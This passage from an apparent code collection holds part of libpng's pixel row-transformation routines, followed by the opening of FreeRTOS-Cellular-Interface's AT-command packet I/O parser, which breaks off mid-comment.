0; *dp-- = 0; } else { *dp-- = 0xff; *dp-- = 0xff; } *dp-- = *sp--; *dp-- = *sp--; } } row_info->color_type = PNG_COLOR_TYPE_GRAY_ALPHA; row_info->channels = 2; row_info->pixel_depth = (png_byte)(row_info->bit_depth << 1); row_info->rowbytes = PNG_ROWBYTES(row_info->pixel_depth, row_width); } } else if (row_info->color_type == PNG_COLOR_TYPE_RGB && trans_value) { if (row_info->bit_depth == 8) { png_byte red = (png_byte)(trans_value->red & 0xff); png_byte green = (png_byte)(trans_value->green & 0xff); png_byte blue = (png_byte)(trans_value->blue & 0xff); sp = row + (png_size_t)row_info->rowbytes - 1; dp = row + (png_size_t)(row_width << 2) - 1; for (i = 0; i < row_width; i++) { if (*(sp - 2) == red && *(sp - 1) == green && *(sp) == blue) *dp-- = 0; else *dp-- = 0xff; *dp-- = *sp--; *dp-- = *sp--; *dp-- = *sp--; } } else if (row_info->bit_depth == 16) { png_byte red_high = (png_byte)((trans_value->red >> 8) & 0xff); png_byte green_high = (png_byte)((trans_value->green >> 8) & 0xff); png_byte blue_high = (png_byte)((trans_value->blue >> 8) & 0xff); png_byte red_low = (png_byte)(trans_value->red & 0xff); png_byte green_low = (png_byte)(trans_value->green & 0xff); png_byte blue_low = (png_byte)(trans_value->blue & 0xff); sp = row + row_info->rowbytes - 1; dp = row + (png_size_t)(row_width << 3) - 1; for (i = 0; i < row_width; i++) { if (*(sp - 5) == red_high && *(sp - 4) == red_low && *(sp - 3) == green_high && *(sp - 2) == green_low && *(sp - 1) == blue_high && *(sp ) == blue_low) { *dp-- = 0; *dp-- = 0; } else { *dp-- = 0xff; *dp-- = 0xff; } *dp-- = *sp--; *dp-- = *sp--; *dp-- = *sp--; *dp-- = *sp--; *dp-- = *sp--; *dp-- = *sp--; } } row_info->color_type = PNG_COLOR_TYPE_RGB_ALPHA; row_info->channels = 4; row_info->pixel_depth = (png_byte)(row_info->bit_depth << 2); row_info->rowbytes = PNG_ROWBYTES(row_info->pixel_depth, row_width); } } } #endif #ifdef PNG_READ_EXPAND_16_SUPPORTED /* If the bit depth is 8 and the colour type is not a palette type expand the * whole row to 16 bits. Has no effect otherwise. */ void /* PRIVATE */ png_do_expand_16(png_row_infop row_info, png_bytep row) { if (row_info->bit_depth == 8 && row_info->color_type != PNG_COLOR_TYPE_PALETTE) { /* The row have a sequence of bytes containing [0..255] and we need * to turn it into another row containing [0..65535], to do this we * calculate: * * (input / 255) * 65535 * * Which happens to be exactly input * 257 and this can be achieved * simply by byte replication in place (copying backwards). */ png_byte *sp = row + row_info->rowbytes; /* source, last byte + 1 */ png_byte *dp = sp + row_info->rowbytes; /* destination, end + 1 */ while (dp > sp) dp[-2] = dp[-1] = *--sp, dp -= 2; row_info->rowbytes *= 2; row_info->bit_depth = 16; row_info->pixel_depth = (png_byte)(row_info->channels * 16); } } #endif #ifdef PNG_READ_QUANTIZE_SUPPORTED void /* PRIVATE */ png_do_quantize(png_row_infop row_info, png_bytep row, png_const_bytep palette_lookup, png_const_bytep quantize_lookup) { png_bytep sp, dp; png_uint_32 i; png_uint_32 row_width=row_info->width; png_debug(1, "in png_do_quantize"); if (row_info->bit_depth == 8) { if (row_info->color_type == PNG_COLOR_TYPE_RGB && palette_lookup) { int r, g, b, p; sp = row; dp = row; for (i = 0; i < row_width; i++) { r = *sp++; g = *sp++; b = *sp++; /* This looks real messy, but the compiler will reduce * it down to a reasonable formula. For example, with * 5 bits per color, we get: * p = (((r >> 3) & 0x1f) << 10) | * (((g >> 3) & 0x1f) << 5) | * ((b >> 3) & 0x1f); */ p = (((r >> (8 - PNG_QUANTIZE_RED_BITS)) & ((1 << PNG_QUANTIZE_RED_BITS) - 1)) << (PNG_QUANTIZE_GREEN_BITS + PNG_QUANTIZE_BLUE_BITS)) | (((g >> (8 - PNG_QUANTIZE_GREEN_BITS)) & ((1 << PNG_QUANTIZE_GREEN_BITS) - 1)) << (PNG_QUANTIZE_BLUE_BITS)) | ((b >> (8 - PNG_QUANTIZE_BLUE_BITS)) & ((1 << PNG_QUANTIZE_BLUE_BITS) - 1)); *dp++ = palette_lookup[p]; } row_info->color_type = PNG_COLOR_TYPE_PALETTE; row_info->channels = 1; row_info->pixel_depth = row_info->bit_depth; row_info->rowbytes = PNG_ROWBYTES(row_info->pixel_depth, row_width); } else if (row_info->color_type == PNG_COLOR_TYPE_RGB_ALPHA && palette_lookup != NULL) { int r, g, b, p; sp = row; dp = row; for (i = 0; i < row_width; i++) { r = *sp++; g = *sp++; b = *sp++; sp++; p = (((r >> (8 - PNG_QUANTIZE_RED_BITS)) & ((1 << PNG_QUANTIZE_RED_BITS) - 1)) << (PNG_QUANTIZE_GREEN_BITS + PNG_QUANTIZE_BLUE_BITS)) | (((g >> (8 - PNG_QUANTIZE_GREEN_BITS)) & ((1 << PNG_QUANTIZE_GREEN_BITS) - 1)) << (PNG_QUANTIZE_BLUE_BITS)) | ((b >> (8 - PNG_QUANTIZE_BLUE_BITS)) & ((1 << PNG_QUANTIZE_BLUE_BITS) - 1)); *dp++ = palette_lookup[p]; } row_info->color_type = PNG_COLOR_TYPE_PALETTE; row_info->channels = 1; row_info->pixel_depth = row_info->bit_depth; row_info->rowbytes = PNG_ROWBYTES(row_info->pixel_depth, row_width); } else if (row_info->color_type == PNG_COLOR_TYPE_PALETTE && quantize_lookup) { sp = row; for (i = 0; i < row_width; i++, sp++) { *sp = quantize_lookup[*sp]; } } } } #endif /* PNG_READ_QUANTIZE_SUPPORTED */ #ifdef PNG_MNG_FEATURES_SUPPORTED /* Undoes intrapixel differencing */ void /* PRIVATE */ png_do_read_intrapixel(png_row_infop row_info, png_bytep row) { png_debug(1, "in png_do_read_intrapixel"); if ( (row_info->color_type & PNG_COLOR_MASK_COLOR)) { int bytes_per_pixel; png_uint_32 row_width = row_info->width; if (row_info->bit_depth == 8) { png_bytep rp; png_uint_32 i; if (row_info->color_type == PNG_COLOR_TYPE_RGB) bytes_per_pixel = 3; else if (row_info->color_type == PNG_COLOR_TYPE_RGB_ALPHA) bytes_per_pixel = 4; else return; for (i = 0, rp = row; i < row_width; i++, rp += bytes_per_pixel) { *(rp) = (png_byte)((256 + *rp + *(rp + 1)) & 0xff); *(rp+2) = (png_byte)((256 + *(rp + 2) + *(rp + 1)) & 0xff); } } else if (row_info->bit_depth == 16) { png_bytep rp; png_uint_32 i; if (row_info->color_type == PNG_COLOR_TYPE_RGB) bytes_per_pixel = 6; else if (row_info->color_type == PNG_COLOR_TYPE_RGB_ALPHA) bytes_per_pixel = 8; else return; for (i = 0, rp = row; i < row_width; i++, rp += bytes_per_pixel) { png_uint_32 s0 = (*(rp ) << 8) | *(rp + 1); png_uint_32 s1 = (*(rp + 2) << 8) | *(rp + 3); png_uint_32 s2 = (*(rp + 4) << 8) | *(rp + 5); png_uint_32 red = (png_uint_32)((s0 + s1 + 65536L) & 0xffffL); png_uint_32 blue = (png_uint_32)((s2 + s1 + 65536L) & 0xffffL); *(rp ) = (png_byte)((red >> 8) & 0xff); *(rp + 1) = (png_byte)(red & 0xff); *(rp + 4) = (png_byte)((blue >> 8) & 0xff); *(rp + 5) = (png_byte)(blue & 0xff); } } } } #endif /* PNG_MNG_FEATURES_SUPPORTED */ #endif /* PNG_READ_SUPPORTED */
709457.c
/* * FreeRTOS-Cellular-Interface v1.1.0 * Copyright (C) 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of * the Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * https://www.FreeRTOS.org * https://github.com/FreeRTOS */ /** * @brief FreeRTOS Cellular Library common packet I/O functions to assemble packet from comm interface. */ #ifndef CELLULAR_DO_NOT_USE_CUSTOM_CONFIG /* Include custom config file before other headers. */ #include "cellular_config.h" #endif #include "cellular_config_defaults.h" /* Standard includes. */ #include <string.h> #include <stdlib.h> #include <stdbool.h> #include "cellular_platform.h" #include "cellular_types.h" #include "cellular_internal.h" #include "cellular_pktio_internal.h" #include "cellular_common_internal.h" /*-----------------------------------------------------------*/ #define PKTIO_EVT_MASK_STARTED ( 0x0001UL ) #define PKTIO_EVT_MASK_ABORT ( 0x0002UL ) #define PKTIO_EVT_MASK_ABORTED ( 0x0004UL ) #define PKTIO_EVT_MASK_RX_DATA ( 0x0008UL ) #define PKTIO_EVT_MASK_ALL_EVENTS \ ( PKTIO_EVT_MASK_STARTED \ | PKTIO_EVT_MASK_ABORT \ | PKTIO_EVT_MASK_ABORTED \ | PKTIO_EVT_MASK_RX_DATA ) #define FREE_AT_RESPONSE_AND_SET_NULL( pResp ) { ( _Cellular_AtResponseFree( ( pResp ) ) ); ( ( pResp ) = NULL ); } #define PKTIO_SHUTDOWN_WAIT_INTERVAL_MS ( 10U ) #ifdef CELLULAR_DO_NOT_USE_CUSTOM_CONFIG #define LOOP_FOREVER() true #endif /*-----------------------------------------------------------*/ static void _saveData( char * pLine, CellularATCommandResponse_t * pResp, uint32_t dataLen ); static void _saveRawData( char * pLine, CellularATCommandResponse_t * pResp, uint32_t dataLen ); static void _saveATData( char * pLine, CellularATCommandResponse_t * pResp ); static CellularPktStatus_t _processIntermediateResponse( char * pLine, CellularATCommandResponse_t * pResp, CellularATCommandType_t atType, const char * pRespPrefix ); static CellularATCommandResponse_t * _Cellular_AtResponseNew( void ); static void _Cellular_AtResponseFree( CellularATCommandResponse_t * pResp ); static CellularPktStatus_t _Cellular_ProcessLine( const CellularContext_t * pContext, char * pLine, CellularATCommandResponse_t * pResp, CellularATCommandType_t atType, const char * pRespPrefix ); static bool urcTokenWoPrefix( const CellularContext_t * pContext, const char * pLine ); static _atRespType_t _getMsgType( const CellularContext_t * pContext, const char * pLine, const char * pRespPrefix ); static CellularCommInterfaceError_t _Cellular_PktRxCallBack( void * pUserData, CellularCommInterfaceHandle_t commInterfaceHandle ); static char * _handleLeftoverBuffer( CellularContext_t * pContext ); static char * _Cellular_ReadLine( CellularContext_t * pContext, uint32_t * pBytesRead, const CellularATCommandResponse_t * pAtResp ); static CellularPktStatus_t _handleData( char * pStartOfData, CellularContext_t * pContext, CellularATCommandResponse_t * pAtResp, char ** ppLine, uint32_t bytesRead, uint32_t * pBytesLeft ); static CellularPktStatus_t _handleMsgType( CellularContext_t * pContext, CellularATCommandResponse_t ** ppAtResp, char * pLine ); static void _handleAllReceived( CellularContext_t * pContext, CellularATCommandResponse_t ** ppAtResp, char * pData, uint32_t bytesInBuffer ); static uint32_t _handleRxDataEvent( CellularContext_t * pContext, CellularATCommandResponse_t ** ppAtResp ); static void _pktioReadThread( void * pUserData ); static void _PktioInitProcessReadThreadStatus( CellularContext_t * pContext ); /*-----------------------------------------------------------*/ static uint32_t _convertCharPtrDistance( const char * pEndPtr, const char * pStartPtr ) { int32_t ptrDistance = ( int32_t ) ( pEndPtr - pStartPtr ); return ( uint32_t ) ptrDistance; } /*-----------------------------------------------------------*/ static void _saveData( char * pLine, CellularATCommandResponse_t * pResp, uint32_t dataLen ) { CellularATCommandLine_t * pNew = NULL, * pTemp = NULL; ( void ) dataLen; LogDebug( ( "_saveData : Save data %p with length %d", pLine, dataLen ) ); pNew = ( CellularATCommandLine_t * ) Platform_Malloc( sizeof( CellularATCommandLine_t ) ); configASSERT( ( pNew != NULL ) ); /* Reuse the pktio buffer instead of allocate. */ pNew->pLine = pLine; pNew->pNext = NULL; if( pResp->pItm == NULL ) { pResp->pItm = pNew; } else { pTemp = pResp->pItm; while( pTemp->pNext != NULL ) { pTemp = pTemp->pNext; } pTemp->pNext = pNew; } } /*-----------------------------------------------------------*/ static void _saveRawData( char * pLine, CellularATCommandResponse_t * pResp, uint32_t dataLen ) { LogDebug( ( "Save [%p] %d data to pResp", pLine, dataLen ) ); _saveData( pLine, pResp, dataLen ); } /*-----------------------------------------------------------*/ static void _saveATData( char * pLine, CellularATCommandResponse_t * pResp ) { LogDebug( ( "Save [%s] %lu AT data to pResp", pLine, strlen( pLine ) ) ); _saveData( pLine, pResp, ( uint32_t ) ( strlen( pLine ) + 1U ) ); } /*-----------------------------------------------------------*/ static CellularPktStatus_t _processIntermediateResponse( char * pLine, CellularATCommandResponse_t * pResp, CellularATCommandType_t atType, const char * pRespPrefix ) { CellularPktStatus_t pkStatus = CELLULAR_PKT_STATUS_PENDING_DATA; ( void ) pRespPrefix; switch( atType ) { case CELLULAR_AT_WO_PREFIX: if( pResp->pItm == NULL ) { _saveATData( pLine, pResp ); } else { /* We already have an intermediate response. */ pkStatus = CELLULAR_PKT_STATUS_INVALID_DATA; LogError( ( "CELLULAR_AT_WO_PREFIX AT process ERROR: %s, status: %d ", pLine, pkStatus ) ); } break; case CELLULAR_AT_WITH_PREFIX: if( pResp->pItm == NULL ) { /* The removed code which demonstrate the existence of the prefix has been done in * function _getMsgType(), so the failure condition here won't be touched. */ _saveATData( pLine, pResp ); } else { /* We already have an intermediate response. */ pkStatus = CELLULAR_PKT_STATUS_INVALID_DATA; LogError( ( "CELLULAR_AT_WITH_PREFIX AT process ERROR: %s, status: %d ", pLine, pkStatus ) ); } break; case CELLULAR_AT_MULTI_WITH_PREFIX: /* The removed code which demonstrate the existence of the prefix has been done in * function _getMsgType(), so the failure condition here won't be touched. */ _saveATData( pLine, pResp ); break; case CELLULAR_AT_MULTI_WO_PREFIX: _saveATData( pLine, pResp ); break; case CELLULAR_AT_MULTI_DATA_WO_PREFIX: default: _saveATData( pLine, pResp ); pkStatus = CELLULAR_PKT_STATUS_PENDING_BUFFER; break; } return pkStatus; } /*-----------------------------------------------------------*/ static CellularATCommandResponse_t * _Cellular_AtResponseNew( void ) { CellularATCommandResponse_t * pNew = NULL; pNew = ( CellularATCommandResponse_t * ) Platform_Malloc( sizeof( CellularATCommandResponse_t ) ); configASSERT( ( pNew != NULL ) ); ( void ) memset( ( void * ) pNew, 0, sizeof( CellularATCommandResponse_t ) ); return pNew; } /*-----------------------------------------------------------*/ /** * Returns a pointer to the end of the next line * special-cases the "> " SMS prompt. * * Returns NULL if there is no complete line. */ static void _Cellular_AtResponseFree( CellularATCommandResponse_t * pResp ) { CellularATCommandLine_t * pCurrLine = NULL; CellularATCommandLine_t * pToFree = NULL; if( pResp != NULL ) { pCurrLine = pResp->pItm; while( pCurrLine != NULL ) { pToFree = pCurrLine; pCurrLine = pCurrLine->pNext; /* Ruese the pktiobuffer. No need to free pToFree->pLine here. */ Platform_Free( pToFree ); } Platform_Free( pResp ); } } /*-----------------------------------------------------------*/ static CellularPktStatus_t _Cellular_ProcessLine( const CellularContext_t * pContext, char * pLine, CellularATCommandResponse_t * pResp, CellularATCommandType_t atType, const char * pRespPrefix ) { CellularPktStatus_t pkStatus = CELLULAR_PKT_STATUS_FAILURE; bool result = false; const char * const * pTokenSuccessTable = NULL; const char * const * pTokenErrorTable = NULL; const char * const * pTokenExtraTable = NULL; uint32_t tokenSuccessTableSize = 0; uint32_t tokenErrorTableSize = 0; uint32_t tokenExtraTableSize = 0; if( ( pContext->tokenTable.pCellularSrcTokenErrorTable != NULL ) && ( pContext->tokenTable.pCellularSrcTokenSuccessTable != NULL ) ) { pTokenSuccessTable = pContext->tokenTable.pCellularSrcTokenSuccessTable; tokenSuccessTableSize = pContext->tokenTable.cellularSrcTokenSuccessTableSize; pTokenErrorTable = pContext->tokenTable.pCellularSrcTokenErrorTable; tokenErrorTableSize = pContext->tokenTable.cellularSrcTokenErrorTableSize; pTokenExtraTable = pContext->tokenTable.pCellularSrcExtraTokenSuccessTable; tokenExtraTableSize = pContext->tokenTable.cellularSrcExtraTokenSuccessTableSize; /* pResp has been checked while allocating memory, so we don't * need to demonstrate it here. */ ( void ) Cellular_ATcheckErrorCode( pLine, pTokenExtraTable, tokenExtraTableSize, &result ); if( result == true ) { pResp->status = true; pkStatus = CELLULAR_PKT_STATUS_OK; LogDebug( ( "Final AT response is SUCCESS [%s] in extra table", pLine ) ); } else { ( void ) Cellular_ATcheckErrorCode( pLine, pTokenSuccessTable, tokenSuccessTableSize, &result ); if( result == true ) { pResp->status = true; pkStatus = CELLULAR_PKT_STATUS_OK; LogDebug( ( "Final AT response is SUCCESS [%s]", pLine ) ); } } if( result != true ) { ( void ) Cellular_ATcheckErrorCode( pLine, pTokenErrorTable, tokenErrorTableSize, &result ); if( result == true ) { pResp->status = false; pkStatus = CELLULAR_PKT_STATUS_OK; } else { pkStatus = _processIntermediateResponse( pLine, pResp, atType, pRespPrefix ); } } } if( ( result == true ) && ( pResp->status == false ) ) { LogError( ( "Modem return ERROR: line %s, cmd : %s, respPrefix %s, status: %d", ( pContext->pCurrentCmd != NULL ? pContext->pCurrentCmd : "NULL" ), pLine, ( pRespPrefix != NULL ? pRespPrefix : "NULL" ), pkStatus ) ); } return pkStatus; } /*-----------------------------------------------------------*/ static bool urcTokenWoPrefix( const CellularContext_t * pContext, const char * pLine ) { bool ret = false; uint32_t i = 0; uint32_t urcTokenTableSize = pContext->tokenTable.cellularUrcTokenWoPrefixTableSize; const char * const * const pUrcTokenTable = pContext->tokenTable.pCellularUrcTokenWoPrefixTable; for( i = 0; i < urcTokenTableSize; i++ ) { if( strcmp( pLine, pUrcTokenTable[ i ] ) == 0 ) { ret = true; break; } } return ret; } /*-----------------------------------------------------------*/ static _atRespType_t _getMsgType( const CellularContext_t * pContext, const char * pLine, const char * pRespPrefix ) { _atRespType_t atRespType = AT_UNDEFINED; CellularATError_t atStatus = CELLULAR_AT_SUCCESS; bool inputWithPrefix = false; bool inputWithSrcPrefix = false; if( pContext->tokenTable.pCellularUrcTokenWoPrefixTable == NULL ) { atStatus = CELLULAR_AT_ERROR; atRespType = AT_UNDEFINED; } else if( urcTokenWoPrefix( pContext, pLine ) == true ) { atRespType = AT_UNSOLICITED; } else { /* Check if prefix exist in pLine. */ ( void ) Cellular_ATIsPrefixPresent( pLine, &inputWithPrefix ); if( ( inputWithPrefix == true ) && ( pRespPrefix != NULL ) ) { /* Check if SRC prefix exist in pLine. */ atStatus = Cellular_ATStrStartWith( pLine, pRespPrefix, &inputWithSrcPrefix ); } } if( ( atStatus == CELLULAR_AT_SUCCESS ) && ( atRespType == AT_UNDEFINED ) ) { if( inputWithPrefix == true ) { if( ( pContext->PktioAtCmdType != CELLULAR_AT_NO_COMMAND ) && ( inputWithSrcPrefix == true ) ) { atRespType = AT_SOLICITED; } else { atRespType = AT_UNSOLICITED; } } else { if( ( ( pContext->PktioAtCmdType != CELLULAR_AT_NO_COMMAND ) && ( pRespPrefix == NULL ) ) || ( pContext->PktioAtCmdType == CELLULAR_AT_MULTI_DATA_WO_PREFIX ) || ( pContext->PktioAtCmdType == CELLULAR_AT_WITH_PREFIX ) || ( pContext->PktioAtCmdType == CELLULAR_AT_MULTI_WITH_PREFIX ) ) { atRespType = AT_SOLICITED; } } } return atRespType; } /*-----------------------------------------------------------*/ static CellularCommInterfaceError_t _Cellular_PktRxCallBack( void * pUserData, CellularCommInterfaceHandle_t commInterfaceHandle ) { const CellularContext_t * pContext = ( CellularContext_t * ) pUserData; BaseType_t xHigherPriorityTaskWoken = pdFALSE, xResult = pdFALSE; CellularCommInterfaceError_t retComm = IOT_COMM_INTERFACE_SUCCESS; ( void ) commInterfaceHandle; /* Comm if is not used in this function. */ /* The context of this function is a ISR. */ if( pContext->pPktioCommEvent == NULL ) { retComm = IOT_COMM_INTERFACE_BAD_PARAMETER; } else { /* It's platform-dependent declaration. */ /* coverity[misra_c_2012_directive_4_6_violation] */ xResult = ( BaseType_t ) PlatformEventGroup_SetBitsFromISR( ( PlatformEventGroupHandle_t ) pContext->pPktioCommEvent, ( EventBits_t ) PKTIO_EVT_MASK_RX_DATA, &xHigherPriorityTaskWoken ); if( xResult == pdPASS ) { if( xHigherPriorityTaskWoken == pdTRUE ) { retComm = IOT_COMM_INTERFACE_SUCCESS; } else { retComm = IOT_COMM_INTERFACE_BUSY; } } else { retComm = IOT_COMM_INTERFACE_FAILURE; } } return retComm; } /*-----------------------------------------------------------*/ static char * _handleLeftoverBuffer( CellularContext_t * pContext ) { char * pRead = NULL; /* Pointer to first empty space in pContext->pktioReadBuf. */ /* Move the leftover data or AT command response to the start of buffer. * Set the pRead pointer to the empty buffer space. */ LogDebug( ( "moved the partial line/data from %p to %p %d", pContext->pPktioReadPtr, pContext->pktioReadBuf, pContext->partialDataRcvdLen ) ); ( void ) memmove( pContext->pktioReadBuf, pContext->pPktioReadPtr, pContext->partialDataRcvdLen ); pContext->pktioReadBuf[ pContext->partialDataRcvdLen ] = '\0'; pRead = &pContext->pktioReadBuf[ pContext->partialDataRcvdLen ]; pContext->pPktioReadPtr = pContext->pktioReadBuf; return pRead; } /*-----------------------------------------------------------*/ /* pBytesRead : bytes read from comm interface. */ /* partialData : leftover bytes in the pktioreadbuf. Not enougth to be a command. */ static char * _Cellular_ReadLine( CellularContext_t * pContext, uint32_t * pBytesRead, const CellularATCommandResponse_t * pAtResp ) { char * pAtBuf = NULL; /* The returned start of data. */ char * pRead = NULL; /* pRead is the first empty ptr in the Buffer for comm intf to read. */ uint32_t bytesRead = 0; uint32_t partialDataRead = pContext->partialDataRcvdLen; int32_t bufferEmptyLength = ( int32_t ) PKTIO_READ_BUFFER_SIZE; pAtBuf = pContext->pktioReadBuf; pRead = pContext->pktioReadBuf; /* pContext->pPktioReadPtr is valid data start pointer. * pContext->partialDataRcvdLen is the valid data length need to be handled. * if pContext->pPktioReadPtr is NULL, valid data start from pContext->pktioReadBuf. * pAtResp equals NULL indicate that no data is buffered in AT command response and * data before pPktioReadPtr is invalid data can be recycled. */ if( ( pContext->pPktioReadPtr != NULL ) && ( pContext->pPktioReadPtr != pContext->pktioReadBuf ) && ( pContext->partialDataRcvdLen != 0U ) && ( pAtResp == NULL ) ) { pRead = _handleLeftoverBuffer( pContext ); bufferEmptyLength = ( ( int32_t ) PKTIO_READ_BUFFER_SIZE - ( int32_t ) pContext->partialDataRcvdLen ); } else { if( pContext->pPktioReadPtr != NULL ) { /* There are still valid data before pPktioReadPtr. */ pRead = &pContext->pPktioReadPtr[ pContext->partialDataRcvdLen ]; pAtBuf = pContext->pPktioReadPtr; bufferEmptyLength = ( ( int32_t ) PKTIO_READ_BUFFER_SIZE - ( int32_t ) pContext->partialDataRcvdLen - ( int32_t ) _convertCharPtrDistance( pContext->pPktioReadPtr, pContext->pktioReadBuf ) ); } else { /* There are valid data need to be handled with length pContext->partialDataRcvdLen. */ pRead = &pContext->pktioReadBuf[ pContext->partialDataRcvdLen ]; pAtBuf = pContext->pktioReadBuf; bufferEmptyLength = ( ( int32_t ) PKTIO_READ_BUFFER_SIZE - ( int32_t ) pContext->partialDataRcvdLen ); } } if( bufferEmptyLength > 0 ) { ( void ) pContext->pCommIntf->recv( pContext->hPktioCommIntf, ( uint8_t * ) pRead, bufferEmptyLength, CELLULAR_COMM_IF_RECV_TIMEOUT_MS, &bytesRead ); if( bytesRead > 0U ) { /* Add a NULL after the bytesRead. This is required for further processing. */ pRead[ bytesRead ] = '\0'; LogDebug( ( "AT Read %d bytes, data[%p]", bytesRead, pRead ) ); /* Set the pBytesRead only when actual bytes read from comm interface. */ *pBytesRead = bytesRead + partialDataRead; /* Clean the partial data and read pointer. */ pContext->partialDataRcvdLen = 0; } else { pAtBuf = NULL; *pBytesRead = 0U; } } else { LogError( ( "No empty space from comm if to handle incoming data, reset all parameter for next incoming data." ) ); *pBytesRead = 0; pContext->partialDataRcvdLen = 0; pContext->pPktioReadPtr = NULL; } return pAtBuf; } /*-----------------------------------------------------------*/ static CellularPktStatus_t _handleData( char * pStartOfData, CellularContext_t * pContext, CellularATCommandResponse_t * pAtResp, char ** ppLine, uint32_t bytesRead, uint32_t * pBytesLeft ) { /* Calculate the size of data received so far. */ uint32_t bytesBeforeData = _convertCharPtrDistance( pStartOfData, *ppLine ); CellularPktStatus_t pkStatus = CELLULAR_PKT_STATUS_OK; uint32_t bytesDataAndLeft = 0; /* Bytes before pStartOfData is not data, skip the bytes received. */ /* bytesRead = bytesBeforeData( data prefix ) + bytesData + bytesLeft( other AT command response ). */ bytesDataAndLeft = bytesRead - bytesBeforeData; if( bytesDataAndLeft >= pContext->dataLength ) { /* Add data to the response linked list. */ _saveRawData( pStartOfData, pAtResp, pContext->dataLength ); /* Advance pLine to a point after data. */ *ppLine = &pStartOfData[ pContext->dataLength ]; /* There are more bytes after the data. */ *pBytesLeft = ( bytesDataAndLeft - pContext->dataLength ); LogDebug( ( "_handleData : read buffer buffer %p start %p prefix %d left %d, read total %d", pContext->pktioReadBuf, pStartOfData, bytesBeforeData, *pBytesLeft, bytesRead ) ); /* reset the data related variables. */ pContext->dataLength = 0U; /* Set the pPktioReadPtr to indicate data already handled. */ pContext->pPktioReadPtr = *ppLine; pContext->partialDataRcvdLen = *pBytesLeft; } else { /* The data received is partial. Store the start of data in read pointer. */ pContext->pPktioReadPtr = pStartOfData; pContext->partialDataRcvdLen = bytesDataAndLeft; pkStatus = CELLULAR_PKT_STATUS_PENDING_BUFFER; } return pkStatus; } /*-----------------------------------------------------------*/ static CellularPktStatus_t _handleMsgType( CellularContext_t * pContext, CellularATCommandResponse_t ** ppAtResp, char * pLine ) { CellularPktStatus_t pkStatus = CELLULAR_PKT_STATUS_OK; if( pContext->recvdMsgType == AT_UNSOLICITED ) { if( pContext->pPktioHandlepktCB != NULL ) { ( void ) pContext->pPktioHandlepktCB( pContext, AT_UNSOLICITED, pLine ); } } else if( pContext->recvdMsgType == AT_SOLICITED ) { if( *ppAtResp == NULL ) { *ppAtResp = _Cellular_AtResponseNew(); LogDebug( ( "Allocate at response %p", ( void * ) *ppAtResp ) ); } LogDebug( ( "AT solicited Resp[%s]", pLine ) ); /* Process Line will store the Line data in AT response. */ pkStatus = _Cellular_ProcessLine( pContext, pLine, *ppAtResp, pContext->PktioAtCmdType, pContext->pRespPrefix ); if( pkStatus == CELLULAR_PKT_STATUS_OK ) { if( pContext->pPktioHandlepktCB != NULL ) { ( void ) pContext->pPktioHandlepktCB( pContext, AT_SOLICITED, *ppAtResp ); } FREE_AT_RESPONSE_AND_SET_NULL( *ppAtResp ); } else if( pkStatus == CELLULAR_PKT_STATUS_PENDING_BUFFER ) { /* Check data prefix first then store the data if this command has data response. */ } else { if( pkStatus != CELLULAR_PKT_STATUS_PENDING_DATA ) { ( void ) memset( pContext->pktioReadBuf, 0, PKTIO_READ_BUFFER_SIZE + 1U ); pContext->pPktioReadPtr = NULL; FREE_AT_RESPONSE_AND_SET_NULL( *ppAtResp ); /* pContext->pCurrentCmd is not NULL since it is a solicited response. */ LogError( ( "processLine ERROR, cleaning up! Current command %s", pContext->pCurrentCmd ) ); } } } else { LogError( ( "recvdMsgType is AT_UNDEFINED for Message: %s, cmd %s", pLine, ( pContext->pCurrentCmd != NULL ? pContext->pCurrentCmd : "NULL" ) ) ); ( void ) memset( pContext->pktioReadBuf, 0, PKTIO_READ_BUFFER_SIZE + 1U ); pContext->pPktioReadPtr = NULL; pContext->partialDataRcvdLen = 0; FREE_AT_RESPONSE_AND_SET_NULL( *ppAtResp ); pkStatus = CELLULAR_PKT_STATUS_BAD_PARAM; } return pkStatus; } /*-----------------------------------------------------------*/ static bool _findLineInStream( CellularContext_t * pContext, char * pLine, uint32_t bytesRead, uint32_t * pLineLength ) { bool keepProcess = true; char * pTempLine = pLine; uint32_t i = 0; /* Handle the complete line here. GetMsgType needs a complete Line or longer then maximum prefix line. */ for( i = 0; i < bytesRead; i++ ) { if( ( pTempLine[ i ] == '\0' ) || ( pTempLine[ i ] == '\r' ) || ( pTempLine[ i ] == '\n' ) ) { break; } } /* A complete Line is found. */ if( i < bytesRead ) { pTempLine[ i ] = '\0'; *pLineLength = i; } else { LogDebug( ( "%p is not a complete line", pTempLine ) ); pContext->pPktioReadPtr = pTempLine; pContext->partialDataRcvdLen = bytesRead; keepProcess = false; } return keepProcess; } /*-----------------------------------------------------------*/ static bool _preprocessLine( CellularContext_t * pContext, char * pLine, uint32_t * pBytesRead, char ** ppStartOfData ) { char * pTempLine = pLine; bool keepProcess = true; CellularPktStatus_t pktStatus = CELLULAR_PKT_STATUS_OK; /* The line only has change line. */ if( *pBytesRead <= 0U ) { pContext->pPktioReadPtr = pTempLine; pContext->partialDataRcvdLen = 0; keepProcess = false; } else { if( pContext->pktDataSendPrefixCB != NULL ) { /* Check if the AT command response is the data send prefix. * Data send prefix is an SRC success token for data send AT commmand. * It is used to indicate modem can receive data now. */ /* This function may fix the data stream if the data send prefix is not a line. */ pktStatus = pContext->pktDataSendPrefixCB( pContext->pDataSendPrefixCBContext, pTempLine, pBytesRead ); if( pktStatus != CELLULAR_PKT_STATUS_OK ) { LogError( ( "pktDataSendPrefixCB returns error %d", pktStatus ) ); keepProcess = false; } } else if( pContext->pktDataPrefixCB != NULL ) { /* Check if the AT command response is the data receive prefix. * Data receive prefix is an SRC success token for data receive AT commnad. * It is used to indicate modem will start to send data. Don't parse the content. */ /* 